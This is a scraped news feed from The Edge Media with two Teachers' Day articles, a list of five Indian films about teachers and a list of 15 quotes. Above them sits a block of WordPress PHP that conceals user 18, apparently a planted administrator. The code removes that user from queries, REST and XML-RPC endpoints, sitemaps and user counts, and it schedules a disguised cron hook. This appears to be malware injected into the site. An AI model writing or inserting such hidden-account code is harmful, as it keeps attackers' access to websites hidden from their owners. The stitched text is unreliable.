add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Here are the five films that will take you on a trip down memory lane and make you miss your teachers appeared first on The Edge Media.
]]>While we can’t go back to school or colleges, we can definitely relish the good old times with some of the best movies on this Teachers’ day. So, here are the five films that will take you on a trip down memory lane and make you miss the educators who shaped your lives and careers!
Super 30′ (2019):
The recently released film chronicles the life story of Anand Kumar played by Hrithik Roshan. It shows the struggle of Anand, an Indian mathematician who quit his job as a teacher in a top coaching centre to teach underprivileged children. It shows Roshan’s character go through all the hardships to school his students, enabling them to book a seat at the coveted IITs.
Hichki’ (2018):
An Indian adaptation of Brad Cohen’s autobiography, ‘Front of the Class’, the film follows a woman (played Rani Mukerji) with Tourette syndrome landing a teaching job in an elite school and how she turns her weakness into her biggest strength. Rani’s character is faced by strong resistance by her students who belong to the economically weaker section of the society. She, however, is determined as a teacher to take her students along on the path of learning.
Taare Zameen Par’ (2007):
The iconic movie won the hearts with its portrayal of the bond between a teacher and student. The film starred Aamir Khan and follows an 8-year-old boy suffering from dyslexia. The teacher (Aamir) not only makes the boy overcome his disability by adopting unconventional teaching methods but also changes the attitude of his parents towards him. The film won a National Award.
‘Black’ (2005):
Loosely based on Helen Keller’s life and struggle, Black follows a teacher played by Amitabh Bachchan helping a deaf-blind girl (essayed by Rani Mukerji) explore her potential. Amitabh himself later develops Alzheimer’s disease in the film. The film shows how the teacher shapes the life of the girl whose family had given up hopes on her.
Iqbal’ (2005):
The coming-of-age drama film stars Shreyas Talpade, a cricket-obsessed, deaf-and-mute boy who with the help of his coach overcomes all the difficulties to become a part of the Indian national cricket team.
-ANI
The post Here are the five films that will take you on a trip down memory lane and make you miss your teachers appeared first on The Edge Media.
]]>The post Here are 15 inspirational and motivational quotes on Teachers’ Day appeared first on The Edge Media.
]]>They design society, both on a local and global scale, as they have the ability to shape children and build them into positive and inspired future generations. As we celebrate their hard work on Teachers’ Day this September 5, here are 15 inspirational and motivational quotes to share on Facebook status and WhatsApp messages:
1. “Great teachers emanate out of knowledge, passion and compassion.” –A. P. J. Abdul Kalam
2. “They inspire you, they entertain you, and you end up learning a ton even when you don’t know it” –Nicholas Sparks, Dear John
3. “The task of the modern educator is not to cut down jungles, but to irrigate deserts.” –C.S. Lewis
4. “I am indebted to my father for living, but to my teacher for living well.” –Alexander the Great.
5. “It is the supreme art of the teacher to awaken joy in creative expression and knowledge.” –Albert Einstein
6. “Let us remember: One book, one pen, one child, and one teacher can change the world.” –Malala Yousafzai
7. “If you don’t have a teacher you can’t have a disciple.” –Dallas Willard
8. “If you have to put someone on a pedestal, put teachers. They are society’s heroes.” –Guy Kawasaki
9. “Teaching kids to count is fine, but teaching them what counts is best.” –Bob Talbert.
10. The one exclusive sign of thorough knowledge is the power of teaching.” –Aristotle
11. “The dream begins with a teacher who believes in you, who tugs and pushes and leads you to the next plateau, sometimes poking you with a sharp stick called ‘truth’.” –Dan Rather.
12. “The teacher who is indeed wise does not bid you to enter the house of his wisdom but rather leads you to the threshold of your mind.” –Khalil Gibran
13. “Those that know, do. Those that understand, teach.” –Aristotle
14. “The test of a good teacher is not how many questions he can ask his pupils that they will answer readily, but how many questions he inspires them to ask him which he finds it hard to answer.”–Alice Wellington Rollins
15. “I am a teacher. It’s how I define myself. A good teacher isn’t someone who gives the answers out to their kids but is understanding of needs and challenges and gives tools to help other people succeed. That’s the way I see myself, so whatever it is that I will do eventually after politics, it’ll have to do a lot with teaching.” –Justin Trudeau.
The post Here are 15 inspirational and motivational quotes on Teachers’ Day appeared first on The Edge Media.
]]>